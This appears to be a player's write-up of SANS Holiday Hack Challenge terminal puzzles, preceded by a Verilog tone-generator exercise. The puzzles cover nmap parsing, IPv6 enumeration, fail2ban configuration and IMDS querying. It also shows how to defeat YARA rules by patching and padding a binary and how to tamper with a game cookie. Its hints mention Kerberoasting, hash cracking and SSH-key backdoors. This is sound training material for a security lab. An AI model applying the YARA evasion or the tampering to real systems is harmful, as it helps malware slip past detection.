// inputs/outputs:
// (NOTE: DO NOT CHANGE THE NAMES. OUR AUTOMATED GRADING TOOL
// REQUIRES THE USE OF THESE NAMES!)
// input clk - this will be connected to the 125MHz system clock
// input rst - this will be connected to the system board's reset bus
// input freq - a 32 bit integer indicating the required frequency
//              (0 - 9999.99Hz) formatted as follows:
//              32'hf1206 or 32'd987654 = 9876.54Hz
// output wave_out - a square wave output of the desired frequency
// you can create whatever other variables you need, but remember
// to initialize them to something!

`timescale 1ns/1ns
module tone_generator (
    input clk,
    input rst,
    input [31:0] freq,
    output wave_out
);
    // ---- DO NOT CHANGE THE CODE ABOVE THIS LINE ---- 
    // ---- IT IS NECESSARY FOR AUTOMATED ANALYSIS ----
    // TODO: Add your code below. 
    // Remove the following line and add your own implementation. 
    // Note: It's silly, but it compiles...
    assign wave_out = (clk | rst | (freq > 0));
endmodule

My Final Solution.
I think I approached rounding a little differently from most given a suggestion was made in the opening notes. Instead of doing the multiply by 10 check, I decided to add everything after the decimal point to the counter before rounding.

Essentially it works like this.

If your clock for example works out to 1.49 then you are adding 1.49 + .49 for a total of 1.98 which will then be chopped to 1 in the rtoi instruction. So if you have anything .5 or higher you will be above the next whole number and the rtoi instruction will truncate it to 2 instead.

//DoTheDangThing
`timescale 1ns/1ns
module tone_generator (
    input clk,
    input rst,
    input [31:0] freq,
    output wave_out
);
    // ---- DO NOT CHANGE THE CODE ABOVE THIS LINE ---- 
    reg [31:0] counter;
    reg wave;
    assign wave_out = wave;
    real clk_freq = 125 * 1e6;
    real tgt_freq = freq / 1e2;
    real clk_on = 50.0 / 100.0 * (1.0 / (tgt_freq / clk_freq));

    always @(posedge clk or posedge rst)
    begin
        if(rst==1)
            begin
                counter <= 0;
                wave <= 0;
            end
        else
            begin
                if (counter == 0)
                    begin
                        counter <= $rtoi(clk_on-1+(clk_on - $rtoi(clk_on)));
                        wave <= ~wave;
                    end
                else
                    begin
                        counter <= counter -1;
                    end
            end
        end
endmodule

Thank you! Now we’re able to communicate with the rest of our people!



Terminals and Challenges

Exif Metadata - Piney Sappington

Provides hints for: Objective 2 - Where in the World is Caramel Santaigo

Hi ho, Piney Sappington at your service!
Well, honestly, I could use a touch of your services.
You see, I’ve been looking at these documents, and I know someone has tampered with one file.
Do you think you could log into this Cranberry Pi and take a look?
It has exiftool installed on it, if that helps you at all.
I just… Well, I have a feeling that someone at that other conference might have fiddled with things.
And, if you help me figure this tampering issue out, I’ll give you some hints about OSINT, especially associated with geographic locations!

HELP! That wily Jack Frost modified one of our naughty/nice records, and right before Christmas! Can you help us figure out which one? We've installed exiftool for your convenience!

Filename (including .docx extension) >
elf@73c09edacfeb:~$ exiftool 2021-12-*.docx | grep -E '^File Name|^Last Mod' | grep -B 1 Jack
File Name:				: 2021-12-21.docx
Last Modified By		: Jack Frost
HELP! That wily Jack Frost modified one of our naughty/nice records, and right before Christmas! Can you help us figure out which one? We've installed exiftool for your convenience!

Filename (including .docx extension) > 2021-12-21.docx
Your answer: 2021-12-21.docx

Checking........
Wow, that's right! We couldn't have done it without your help! Congratulations!

Wow, you figured that out in no time! Thanks!
I knew they were up to no good.
So hey, have you tried the Caramel Santaigo game in this courtyard?
Carmen? No, I haven’t heard of her.
So anyway, some of the hints use obscure coordinate systems like MGRS and even what3words.
In some cases, you might get an image with location info in the metadata. Good thing you know how to see that stuff now!
(And they say, for those who don’t like gameplay, there might be a way to bypass by looking at some flavor of cookie…)
And Clay Moody is giving a talk on OSINT techniques right now!
Oh, and don’t forget to learn about your target elf and filter in the InterRink system!


Grepping for Gold - Greasy GopherGuts

Provides hints for: Objective 3 - Thaw Frost Tower’s Entrance

Grnph. Blach! Phlegm.
I’m Greasy Gopherguts. I need help with parsing some Nmap output.
If you help me find some results, I’ll give you some hints about Wi-Fi.
Click on the terminal next to me and read the instructions.
Maybe search for a cheat sheet if the hints in the terminal don’t do it for ya'.
You’ll type quizme in the terminal and grep through the Nmap bigscan.gnmap file to find answers.

Howdy howdy!  Mind helping me with this homew- er, challenge?
Someone ran nmap -oG on a big network and produced this bigscan.gnmap file.
The quizme program has the questions and hints and, incidentally,
has NOTHING to do with an Elf University assignment. Thanks!

Answer all the questions in the quizme executable:
- What port does 34.76.1.22 have open?
- What port does 34.77.207.226 have open?
- How many hosts appear "Up" in the scan?
- How many hosts have a web port open?  (Let's just use TCP ports 80, 443, and 8080)
- How many hosts with status Up have no (detected) open TCP ports?
- What's the greatest number of TCP ports any one host has open?

Check out bigscan.gnmap and type quizme to answer each question.
elf@431ec00dc1bb:~$ grep '34.76.1.22' bigscan.gnmap 
Host: 34.76.1.22 ()     Status: Up
Host: 34.76.1.22 ()     Ports: 62078/open/tcp//iphone-sync///      Ignored State: closed (999)
elf@431ec00dc1bb:~$ grep '34.77.207.226' bigscan.gnmap 
Host: 34.77.207.226 ()     Status: Up
Host: 34.77.207.226 ()     Ports: 8080/open/tcp//http-proxy///      Ignored State: filtered (999)
elf@431ec00dc1bb:~$ grep 'Status: Up' bigscan.gnmap | wc -l
26054
elf@431ec00dc1bb:~$ cat bigscan.gnmap | grep -E '80\/open|443\/open|8080\/open' | wc -l
14372
elf@431ec00dc1bb:~$ cat bigscan.gnmap | grep  -A 1 'Status: Up' | grep Status | wc -l
26054
elf@431ec00dc1bb:~$ cat bigscan.gnmap | grep  -A 1 'Status: Up' | grep Port | wc -l
25652
elf@431ec00dc1bb:~$ expr 26054 - 25652
402
elf@431ec00dc1bb:~$ cat bigscan.gnmap | grep  -A 1 'Status: Up' | grep Ports | grep -E '(.*open.*){12,}' | head -n 1 | grep -o open | wc -l
12

Feeding our findings into the quizme app.

elf@431ec00dc1bb:~$ quizme 
What port does 34.76.1.22 have open?
Please enter your answer or press h for a hint: 62078
That's correct!
We used this as a solution:
grep 34.76.1.22 bigscan.gnmap
This looks for "34.76.1.22" in the bigscan.gnmap file and shows us every place where it shows up.  In the results, we see:
  62078/open/tcp//iphone-sync///
This tells us port TCP 62078 was found open by nmap.
You have 5 challenges left.


elf@431ec00dc1bb:~$ quizme 
What port does 34.77.207.226 have open?
Please enter your answer or press h for a hint: 8080
That's correct!
We used this as a solution:
grep 34.77.207.226 bigscan.gnmap
Like the previous challenge, this searches the nmap output file for a specific IP address.  In the output, we see TCP port 8080 is open:
  8080/open/tcp//http-proxy///
You have 4 challenges left.


elf@431ec00dc1bb:~$ quizme 
How many hosts appear "Up" in the scan?
Please enter your answer or press h for a hint: 26054
That's correct!
We used this as a solution:
grep Up bigscan.gnmap | wc -l
Running the grep part of the command returns every line with "Up" in it, and wc counts the bytes, characters, words, and lines that come out of grep. Using "-l" only shows lines.
You have 3 challenges left.


elf@431ec00dc1bb:~$ quizme 
How many hosts have a web port open?  (Let's just use TCP ports 80, 443, and 8080)
Please enter your answer or press h for a hint: 14372
That's correct!
We used this as a solution:
grep -E "(80|443|8080)/open" bigscan.gnmap | wc -l
Using "-E" tells grep we"re giving it a regular expression (regex).  In this case, that regex says, "I want lines that have 8080/open, 443/open, or 80/open."
  If you want to be MORE correct, you might use "(\s8080|\s443|\s80)/open" to ensure you don't snag ports like 50080, but there weren't any in this file.
You have 2 challenges left.


elf@431ec00dc1bb:~$ quizme 
How many hosts with status Up have no (detected) open TCP ports?
Please enter your answer or press h for a hint: 402
That's correct!
We used this as a solution:
echo $((`grep Up bigscan.gnmap | wc -l` - `grep Ports bigscan.gnmap | wc -l`))
Our solution is a little fancy, but the crux is this: use one grep|wc command to count how many hosts are "Up", and use another to count how many have "Ports" open.
You have 1 challenge left.


elf@431ec00dc1bb:~$ quizme 
What's the greatest number of TCP ports any one host has open?
Please enter your answer or press h for a hint: 12
That's correct!
We used this as a solution:
grep -E "(open.*){12,}" bigscan.gnmap | wc -l && grep -E "(open.*){13,}" bigscan.gnmap | wc -l
In our solution, we count how many lines have "open" in them a number of times.  We get a few for 12 and none for 13.
One crafty tester employed the mighty powers of awk like this:
  awk 'BEGIN {print}{print gsub(/open/,"") ""}' bigscan.gnmap | sort -nr | head -1
You've done it!

Grnph. Blach! Phlegm.
Grack. Ungh. … Oh!
You really did it?
Well, OK then. Here’s what I know about the wifi here.
Scanning for Wi-Fi networks with iwlist will be location-dependent. You may need to move around the North Pole and keep scanning to identify a Wi-Fi network.
Wireless in Linux is supported by many tools, but iwlist and iwconfig are commonly used at the command line.
The curl utility can make HTTP requests at the command line!
By default, curl makes an HTTP GET request. You can add --request POST as a command line argument to make an HTTP POST request.
When sending HTTP POST, add --data-binary followed by the data you want to send as the POST body.


Logic Munchers - Noel Boetie

Provides hints for: Objective 4 - Slot Machine Investigation

Hello there! Noel Boetie here. We’re all so glad to have you attend KringleCon IV and work on the Holiday Hack Challenge!
I’m just hanging out here by the Logic Munchers game.
You know… logic: that thing that seems to be in short supply at the tower on the other side of the North Pole?
Oh, I’m sorry. That wasn’t terribly kind, but those frosty souls do confuse me…
Anyway, I’m working my way through this Logic Munchers game.
A lot of it comes down to understanding boolean logic, like True And False is False, but True And True is True.
It can get a tad complex in the later levels.
I need some help, though. If you can show me how to complete a stage in Potpourri at the Intermediate (Stage 3) or higher, I’ll give you some hints for how to find vulnerabilities.
Specifically, I’ll give you some tips in finding flaws in some of the web applications I’ve heard about here at the North Pole, especially those associated with slot machines!

This is an odd little game where you slide around and eat and squares that evaluate to True, it features a mix of Boolean logic, arithmetic expressions, number conversions, and bitwise operators.

If you complete an intermediate (stage 3) round of Potpourri you get some information from Noel Boetie.

Logic Munchers - Image 1

Initially I just played the game as it was designed to complete this. However, just for fun, I revisited this little game after completing all of the objectives and made a few snippets of code to game the game so to speak. You can see those efforts in the Just for Fun section.

Wow - amazing score! Great work!
So hey, those slot machines. It seems that in his haste, Jack bought some terrible hardware.
It seems they’re susceptible to parameter tampering.
You can modify web request parameters with an intercepting proxy or tools built into Firefox.


IPv6 Sandbox - Jewel Loggins

Provides hints for: Objective 5 - Strange USB Device

This one is pretty straightforward, do some IPv6 enumeration and retrieve the striper’s activation code.

Well hello! I’m Jewel Loggins.
I have to say though, I’m a bit distressed.
The con next door? Oh sure, I’m concerned about that too, but I was talking about the issues I’m having with IPv6.
I mean, I know it’s an old protocol now, but I’ve just never checked it out.
So now I’m trying to do simple things like Nmap and cURL using IPv6, and I can’t quite get them working!
Would you mind taking a look for me on this terminal?
I think there’s a Github Gist that covers tool usage with IPv6 targets.
The tricky parts are knowing when to use [] around IPv6 addresses and where to specify the source interface.
I’ve got a deal for you. If you show me how to solve this terminal, I’ll provide you with some nice tips about a topic I’ve been researching a lot lately – Ducky Scripts! They can be really interesting and fun!

Tools: 
* netcat
* nmap
* ping / ping6
* curl 

Welcome, Kringlecon attendee! The candy striper is running as a service on this terminal, but I can't remember the password. Like a sticky note under the keyboard, I put the password on another machine in this network. Problem is: I don't have the IP address of that other host. 

Please do what you can to help me out. Find the other machine, retrieve the password, and enter it into the Candy Striper in the pane above. I know you can get it running again!

elf@a25cafc2386b:~$ ping6 ff02::1 -c2 | grep '64 bytes' | awk '{print $4}' |rev | cut -c2- | rev | sort -u >> targets

elf@a25cafc2386b:~$ nmap -6 -iL targets                                                                                                                                                                                                     
Starting Nmap 7.70 ( https://nmap.org ) at 2021-12-12 02:13 UTC
Nmap scan report for fe80::42:76ff:fe48:3440
Host is up (0.00016s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
3000/tcp open  ppp

Nmap scan report for fe80::42:c0ff:fea8:a002
Host is up (0.00033s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE
80/tcp   open  http
9000/tcp open  cslistener

Nmap scan report for fe80::42:c0ff:fea8:a003
Host is up (0.00032s latency).
All 1000 scanned ports on fe80::42:c0ff:fea8:a003 are closed

Nmap scan report for fe80::42:c0ff:fea8:a004
Host is up (0.00015s latency).
All 1000 scanned ports on fe80::42:c0ff:fea8:a004 are closed

Nmap done: 4 IP addresses (4 hosts up) scanned in 13.14 seconds
elf@a25cafc2386b:~$ curl --interface eth0 -g -6 'http://[fe80::42:c0ff:fea8:a002]/'
<html>
<head><title>Candy Striper v6</title></head>
<body>
<marquee>Connect to the other open TCP port to get the striper's activation phrase!</marquee>
</body>
</html>

elf@a25cafc2386b:~$ nc -6 fe80::42:c0ff:fea8:a002%eth0 9000
PieceOnEarth

Great work! It seems simpler now that I’ve seen it once. Thanks for showing me!
Prof. Petabyte warned us about random USB devices. They might be malicious keystroke injectors!
A troll could program a keystroke injector to deliver malicious keystrokes when it is plugged in.
Ducky Script is a language used to specify those keystrokes.
What commands would a troll try to run on our workstations?
I heard that SSH keys can be used as backdoors. Maybe that’s useful?


Holiday Hero - Chimney Scissorsticks

Provides hints for: Objective 6 - Shellcode Primer

Woo! I’m Chimney Scissorsticks, and I’m having a great time up here!
I’ve been hanging out with all these NetWars players and not worrying about what’s going on next door.
In fact, I’ve really been having fun playing with this Holiday Hero terminal. You can use it to generate some jamming holiday tunes that help power Santa’s sleigh!
It’s more fun to play with a friend but I’ve also heard there’s a clever way to enable single player mode.
Single player mode? I heard it can be enabled by fiddling with two client-side values, one of which is passed to the server.
It’s so much more fun and easier with a friend though!
Either way, we’d really appreciate your help getting the sleigh all fueled up.
Then I can get back to thinking about shellcode…

Holiday Hero is a rhythm game where you have to hit the assigned buttons as each note passes behind a marker. The game is set up to default to a multiplayer mode where you are paired with another player accessing the challenge and each of you controls one side of the screen. To complete the challenge you both have to complete the game together with enough accuracy to power Santa’s sleigh over the 80% mark.

However, like most game-type challenges there is more than one way to approach them. As noted by Chimney there may be a way to enable single-player mode thus removing the internet stranger as a requirement for your success.

Our first clue is the HOHOHO cookie set by the games window.

HOHOHO:"%7B%22single_player%22%3Afalse%7D"

So let’s manually modify that cookie value uding our browsers developer tools and set single_player to true

HOHOHO:"%7B%22single_player%22%3Atrue%7D"

That does not appear to be enough on its own to allow us to play the game by ourselves. Diggin through the games javascript holidayhero.min.js we find one more check that needs to be passed and it is a variable set int he global space.

single_player_mode = !1,

So we can simple override that variable in our developer console.

single_player_mode = true

After setting the variable we receive a message Player 2 (COMPUTER) has joined! and then we simply play our side of the game while the computer plays a perfect game in the player 2 spot.

Holiday Hero - Win Image

You did it - rock on! We’re all set now that the sleigh is fueled!
So hey, let me talk to you a bit about manual exploitation.
If you run into any shellcode primers at the North Pole, be sure to read the directions and the comments in the shellcode source!
Also, troubleshooting shellcode can be difficult. Use the debugger step-by-step feature to watch values.
Lastly, be careful not to overwrite any register values you need to reference later on in your shellcode.
That’s it! I know you can do it!


HoHo … No - Eve Snowshoes

Provides hints for: Objective 8 - Kerberoasting on an Open Fire

Hey there, how’s it going? I’m Eve Snowshoes.
Lately I’ve been spending a lot of cycles worrying about what’s going on next door.
Before that, I was checking out Fail2Ban.
It’s this slick log scanning tool for Apache web servers.
If you can complete this terminal challenge, I’d be happy to give you some things I’ve learned about Kerberoasting and Active Directory permissions!
Why don’t you do some work with Fail2Ban on this Cranberry Pi terminal first, then we’ll talk Kerberoasting and Active Directory. OK?

This challenge is all about setting up a custom fail2ban config.

Jack is trying to break into Santa's workshop!

Santa's elves are working 24/7 to manually look through logs, identify the
malicious IP addresses, and block them. We need your help to automate this so
the elves can get back to making presents!

Can you configure Fail2Ban to detect and block the bad IPs?

 * You must monitor for new log entries in /var/log/hohono.log
 * If an IP generates 10 or more failure messages within an hour then it must
   be added to the naughty list by running naughtylist add <ip>
        /root/naughtylist add 12.34.56.78
 * You can also remove an IP with naughtylist del <ip>
        /root/naughtylist del 12.34.56.78
 * You can check which IPs are currently on the naughty list by running
        /root/naughtylist list

You'll be rewarded if you correctly identify all the malicious IPs with a
Fail2Ban filter in /etc/fail2ban/filter.d, an action to ban and unban in
/etc/fail2ban/action.d, and a custom jail in /etc/fail2ban/jail.d. Don't
add any nice IPs to the naughty list!

*** IMPORTANT NOTE! ***

Fail2Ban won't rescan any logs it has already seen. That means it won't
automatically process the log file each time you make changes to the Fail2Ban
config. When needed, run /root/naughtylist refresh to re-sample the log file
and tell Fail2Ban to reprocess it.

filter.d

[Definition]
failregex = Failed.*from.<HOST>
			Invalid.*from.<HOST>
			Login.from.<HOST>.rejected
			<HOST>.sent.a.malformed.request
			

jail.d

[hohono] 
enabled = true    
logpath = /var/log/hohono.log 
filter = hohono 
action = hohono
maxretry = 10
findtime = 1h
bantime = 1h

action.d

[Definition]

actionban = /root/naughtylist add <ip>
actionunban = /root/naughtylist del <ip>

[Init]

Done

root@a32cd671a08e:~# cd /etc/fail2ban/
root@a32cd671a08e:/etc/fail2ban# vi filter.d/hohono.conf
root@a32cd671a08e:/etc/fail2ban# vi action.d/hohono.conf
root@a32cd671a08e:/etc/fail2ban# vi jail.d/hohono.conf
root@ea03572dc3ba:/etc/fail2ban# fail2ban-regex /var/log/hohono.log /etc/fail2ban/filter.d/hohono.conf

Running tests
=============

Use   failregex filter file : hohono, basedir: /etc/fail2ban
Use         log file : /var/log/hohono.log
Use         encoding : UTF-8


Results
=======

Failregex: 4156 total
|-  #) [# of hits] regular expression
|   1) [1101] Failed.*from.<HOST>
|   2) [1025] Invalid.*from.<HOST>
|   3) [1021] Login.from.<HOST>.rejected
|   4) [1009] <HOST>.sent.a.malformed.request
`-

Ignoreregex: 0 total

Date template hits:
|- [# of hits] date format
|  [33599] {^LN-BEG}ExYear(?P<_sep>[-/.])Month(?P=_sep)Day(?:T|  ?)24hour:Minute:Second(?:[.,]Microseconds)?(?:\s*Zone offset)?
`-

Lines: 33599 lines, 0 ignored, 4156 matched, 29443 missed
[processed in 3.03 sec]

Missed line(s): too many to print.  Use --print-all-missed to print all 29443 lines
root@ea03572dc3ba:/etc/fail2ban# service fail2ban restart * Restarting Authentication failure monitor fail2ban                                [ OK ] 
root@ea03572dc3ba:/etc/fail2ban# 
root@ea03572dc3ba:/etc/fail2ban# /root/naughtylist refresh
Refreshing the log file...
root@ea03572dc3ba:/etc/fail2ban# Log file refreshed! It may take fail2ban a few moments to re-process.
36.153.146.36 has been added to the naughty list!
158.231.92.171 has been added to the naughty list!
201.241.176.147 has been added to the naughty list!
214.141.245.92 has been added to the naughty list!
140.221.98.188 has been added to the naughty list!
160.28.201.111 has been added to the naughty list!
171.96.127.125 has been added to the naughty list!
170.149.30.23 has been added to the naughty list!
46.246.249.134 has been added to the naughty list!
114.217.29.146 has been added to the naughty list!
152.52.186.210 has been added to the naughty list!
163.66.241.151 has been added to the naughty list!
51.141.78.153 has been added to the naughty list!
191.156.190.179 has been added to the naughty list!
214.87.117.92 has been added to the naughty list!
You correctly identifed 15 IPs out of 15 bad IPs
You incorrectly added 0 benign IPs to the naughty list


*******************************************************************
* You stopped the attacking systems! You saved our systems!
*
* Thank you for all of your help. You are a talented defender!
*******************************************************************

Fantastic! Thanks for the help!
Hey, would you like to know more about Kerberoasting and Active Directory permissions abuse?
There’s a great talk by Chris Davis on this exact subject!
There are also plenty of resources available to learn more about Kerberoasting specifically.
If you have any trouble finding a domain controller, remember that, when not running as root, nmap default probing relies on connecting to TCP 80 and 443.
Got a hash that won’t crack with your wordlist? OneRuleToRuleThemAll.rule is a great way to grow your keyspace.
Where’d you get your wordlist? CeWL might generate a great wordlist from the ElfU website, but it will ignore digits in terms by default.
So, apropos of nothing, have you ever known system administrators who store credentials in scripts? I know, I know, you understand the folly and would never do it!
The easy way to investigate Active Directory misconfigurations (for Blue and Red alike!) is with Bloodhound, but there are native, methods as well.
Oh, and one last thing: once you’ve granted permissions to your user, it might take up to five minutes for it to propogate throughout the domain.


Yara Analysis - Fitzy Shortstack

Provides hints for: Objective 9 - Splunk

Hiya, I’m Fitzy Shortstack!
I was just trying to learn a bit more about YARA with this here Cranberry Pi terminal.
I mean, I’m not saying I’m worried about attack threats from that other con next door, but…
OK. I AM worried. I’ve been thinking a bit about how malware might bypass YARA rules.
If you can help me solve the issue in this terminal, I’ll understand YARA so much better! Would you please check it out so I can learn?
And, I’ll tell you what – if you help me with YARA, I’ll give you some tips for Splunk!
I think if you make small, innocuous changes to the executable, you can get it to run in spite of the YARA rules.

In this terminal challenge we modify a binary file to bypass YARA rules.

HELP!!!

This critical application is supposed to tell us the sweetness levels of our candy
manufacturing output (among other important things), but I can't get it to run.

It keeps saying something something yara. Can you take a look and see if you
can help get this application to bypass Sparkle Redberry's Yara scanner?

If we can identify the rule that is triggering, we might be able change the program
to bypass the scanner.

We have some tools on the system that might help us get this application going:
vim, emacs, nano, yara, and xxd

The children will be very disappointed if their candy won't even cause a single cavity.

Rule 135:

snowball2@f1f9eba074d9:~$ ./the_critical_elf_app 
yara_rule_135 ./the_critical_elf_app

snowball2@f1f9eba074d9:~$ cat yara_rules/rules.yar | grep -iA 11 'rule yara_rule_135 {'
rule yara_rule_135 {
   meta:
      description = "binaries - file Sugar_in_the_machinery"
      author = "Sparkle Redberry"
      reference = "North Pole Malware Research Lab"
      date = "1955-04-21"
      hash = "19ecaadb2159b566c39c999b0f860b4d8fc2824eb648e275f57a6dbceaf9b488"
   strings:
      $s = "candycane"
   condition:
      $s
}

You can modify files in vi as tho it were a hex editor by using the commands :%!xxd to transforam a file into hex, modify the code (the hex part) then use the command :%!xxd -r to turn the file back into binary and save it.

Using this method we modify any string containing the word candycane to use a capital C which will bypass this first yara rule.

00001ff0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00002000: 0100 0200 0000 0000 6361 6e64 7963 616e  ........candycan
00002010: 6500 6e61 7567 6874 7920 7374 7269 6e67  e.naughty string
00001ff0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00002000: 0100 0200 0000 0000 4361 6e64 7963 616e  ........Candycan
00002010: 6500 6e61 7567 6874 7920 7374 7269 6e67  e.naughty string

Rule 1056:

snowball2@f1f9eba074d9:~$ ./the_critical_elf_app 
yara_rule_1056 ./the_critical_elf_app
snowball2@f1f9eba074d9:~$ cat yara_rules/rules.yar | grep -iA 15 'rule yara_rule_1056 {'
rule yara_rule_1056 {
   meta: 
        description = "binaries - file frosty.exe"
        author = "Sparkle Redberry"
        reference = "North Pole Malware Research Lab"
        date = "1955-04-21"
        hash = "b9b95f671e3d54318b3fd4db1ba3b813325fcef462070da163193d7acb5fcd03"
    strings:
        $s1 = {6c 6962 632e 736f 2e36}
        $hs2 = {726f 6772 616d 2121}
    condition:
        all of them
}

We are looking for two strings as follows.

1 - 6c 6962 632e 736f 2e36 = libc.so.6 2 - 726f 6772 616d 2121 = rogram!!

and we are matching against all of them

So lets avoid changing the references to a library like libc.so.6 and instead change the other string.

00002040: 2065 7865 6375 7469 6f6e 206f 6620 7468   execution of th
00002050: 6973 2070 726f 6772 616d 2121 0000 0000  is program!!....
00002060: 486f 6c69 6461 7948 6163 6b43 6861 6c6c  HolidayHackChall

I have opted to remove one of the ! marks from program!!

00002040: 2065 7865 6375 7469 6f6e 206f 6620 7468   execution of th
00002050: 6973 2070 726f 6772 616d 2100 0000 0000  is program!.....
00002060: 486f 6c69 6461 7948 6163 6b43 6861 6c6c  HolidayHackChall

Rule 1732:

snowball2@f1f9eba074d9:~$ ./the_critical_elf_app 
yara_rule_1732 ./the_critical_elf_app
snowball2@f1f9eba074d9:~$ cat yara_rules/rules.yar | grep -iA 32 'rule yara_rule_1732 {'
rule yara_rule_1732 {
   meta:
      description = "binaries - alwayz_winter.exe"
      author = "Santa"
      reference = "North Pole Malware Research Lab"
      date = "1955-04-22"
      hash = "c1e31a539898aab18f483d9e7b3c698ea45799e78bddc919a7dbebb1b40193a8"
   strings:
      $s1 = "This is critical for the execution of this program!!" fullword ascii
      $s2 = "__frame_dummy_init_array_entry" fullword ascii
      $s3 = ".note.gnu.property" fullword ascii
      $s4 = ".eh_frame_hdr" fullword ascii
      $s5 = "__FRAME_END__" fullword ascii
      $s6 = "__GNU_EH_FRAME_HDR" fullword ascii
      $s7 = "frame_dummy" fullword ascii
      $s8 = ".note.gnu.build-id" fullword ascii
      $s9 = "completed.8060" fullword ascii
      $s10 = "_IO_stdin_used" fullword ascii
      $s11 = ".note.ABI-tag" fullword ascii
      $s12 = "naughty string" fullword ascii
      $s13 = "dastardly string" fullword ascii
      $s14 = "__do_global_dtors_aux_fini_array_entry" fullword ascii
      $s15 = "__libc_start_main@@GLIBC_2.2.5" fullword ascii
      $s16 = "GLIBC_2.2.5" fullword ascii
      $s17 = "its_a_holly_jolly_variable" fullword ascii
      $s18 = "__cxa_finalize" fullword ascii
      $s19 = "HolidayHackChallenge{NotReallyAFlag}" fullword ascii
      $s20 = "__libc_csu_init" fullword ascii
   condition:
      uint32(1) == 0x02464c45 and filesize < 50KB and
      10 of them
}

The first condition checks to make sure it is a linux ELF file starting at byte 1 so we skip the first byte and read what is after that in reverse due to endiness. So we already pass this initial check and can ignore that condition.

00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0300 3e00 0100 0000 4010 0000 0000 0000  ..>.....@.......

If we increase our file size past 50K then we are not subject to this rule.

snowball2@fb625c5631ba:~$ truncate -s 60K ./the_critical_elf_app

snowball2@fb625c5631ba:~$ ls -lah ./the_critical_elf_app 
-rwxr-xr-x 1 snowball2 snowball2 60K Dec 10 21:33 ./the_critical_elf_app

snowball2@fb625c5631ba:~$ ./the_critical_elf_app 
Machine Running.. 
Toy Levels: Very Merry, Terry
Naughty/Nice Blockchain Assessment: Untampered
Candy Sweetness Gauge: Exceedingly Sugarlicious
Elf Jolliness Quotient: 4a6f6c6c7920456e6f7567682c204f76657274696d6520417070726f766564

Thanks - you figured it out!
Let me tell you what I know about Splunk.
Did you know Splunk recently added support for new data sources including Sysmon for Linux and GitHub Audit Log data?
Between GitHub audit log and webhook event recording, you can monitor all activity in a repository, including common git commands such as git add, git status, and git commit.
You can also see cloned GitHub projects. There’s a lot of interesting stuff out there. Did you know there are repositories of code that are Darn Vulnerable?
Sysmon provides a lot of valuable data, but sometimes correlation across data types is still necessary.
Sysmon network events don’t reveal the process parent ID for example. Fortunately, we can pivot with a query to investigate process creation events once you get a process ID.
Sometimes Sysmon data collection is awkward. Pipelining multiple commands generates multiple Sysmon events, for example.
Did you know there are multiple versions of the Netcat command that can be used maliciously? nc.openbsd, for example.


IMDS Exploration - Noxious O. D’or

Provides hints for: Objective 10 - Now Hiring

Hey, this is the executive restroom. Wasn’t that door closed?
I’m Noxious O’Dor. And I’ve gotta say, I think that Jack Frost is just messed up.
I mean, I’m no expert, but his effort to “win” against Santa by going bigger and bolder seems bad.
You know, I’m having some trouble with this IMDS exploration. I’m hoping you can give me some help in solving it.
If you do, I’ll be happy to trade you for some hints on SSRF! I’ve been studying up on that and have some good ideas on how to attack it!

This one is pretty straight forward, follow the instructions to complete the challenge.

Prof. Petabyte here. In this lesson you'll continue to build your cloud asset skills,
interacting with the Instance Metadata Service (IMDS) using curl.

If you get stuck, run 'hint' for assitance.

Q1:

The Instance Metadata Service (IMDS) is a virtual server for cloud assets at the IP address
169.254.169.254. Send a couple ping packets to the server.

Ans:
elfu@986250f095ff:~$ ping 169.254.169.254

IMDS provides information about currently running virtual machine instances. You can use it
to manage and configure cloud nodes. IMDS is used by all major cloud providers.
Run 'next' to continue.

Q2:

Developers can automate actions using IMDS. We'll interact with the server using the cURL
tool. Run 'curl http://169.254.169.254' to access IMDS data.

Ans:

elfu@986250f095ff:~$ curl http://169.254.169.254
latest
Different providers will have different formats for IMDS data. We're using an AWS-compatible
IMDS server that returns 'latest' as the default response. Access the 'latest' endpoint.
Run 'curl http://169.254.169.254/latest'

Ans:

elfu@986250f095ff:~$ curl http://169.254.169.254/latest
dynamic
meta-data
IMDS returns two new endpoints: dynamic and meta-data. Let's start with the dynamic
endpoint, which provides information about the instance itself. Repeat the request
to access the dynamic endpoint: 'curl http://169.254.169.254/latest/dynamic'.

Ans:

elfu@986250f095ff:~$ curl http://169.254.169.254/latest/dynamic
fws/instance-monitoring
instance-identity/document
instance-identity/pkcs7
instance-identity/signature
The instance identity document can be used by developers to understand the instance details.
Repeat the request, this time requesting the instance-identity/document resource:
'curl http://169.254.169.254/latest/dynamic/instance-identity/document'.

Ans:

elfu@986250f095ff:~$ curl http://169.254.169.254/latest/dynamic/instance-identity/document
{
        "accountId": "PCRVQVHN4S0L4V2TE",
        "imageId": "ami-0b69ea66ff7391e80",
        "availabilityZone": "np-north-1f",
        "ramdiskId": null,
        "kernelId": null,
        "devpayProductCodes": null,
        "marketplaceProductCodes": null,
        "version": "2017-09-30",
        "privateIp": "10.0.7.10",
        "billingProducts": null,
        "instanceId": "i-1234567890abcdef0",
        "pendingTime": "2021-12-01T07:02:24Z",
        "architecture": "x86_64",
        "instanceType": "m4.xlarge",
        "region": "np-north-1"
}
Much of the data retrieved from IMDS will be returned in JavaScript Object Notation (JSON)
format. Piping the output to 'jq' will make the content easier to read.
Re-run the previous command, sending the output to JQ: 'curl
http://169.254.169.254/latest/dynamic/instance-identity/document | jq'

Ans:

elfu@986250f095ff:~$ curl -s http://169.254.169.254/latest/dynamic/instance-identity/document | jq
{
  "accountId": "PCRVQVHN4S0L4V2TE",
  "imageId": "ami-0b69ea66ff7391e80",
  "availabilityZone": "np-north-1f",
  "ramdiskId": null,
  "kernelId": null,
  "devpayProductCodes": null,
  "marketplaceProductCodes": null,
  "version": "2017-09-30",
  "privateIp": "10.0.7.10",
  "billingProducts": null,
  "instanceId": "i-1234567890abcdef0",
  "pendingTime": "2021-12-01T07:02:24Z",
  "architecture": "x86_64",
  "instanceType": "m4.xlarge",
  "region": "np-north-1"
}
Here we see several details about the instance when it was launched. Developers can use this
information to optimize applications based on the instance launch parameters.
Run 'next' to continu

Q3:

In addition to dynamic parameters set at launch, IMDS offers metadata about the instance as
well. Examine the metadata elements available:
'curl http://169.254.169.254/latest/meta-data'

Ans:

ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/ami
block-device-mapping/ebs0
block-device-mapping/ephemeral0
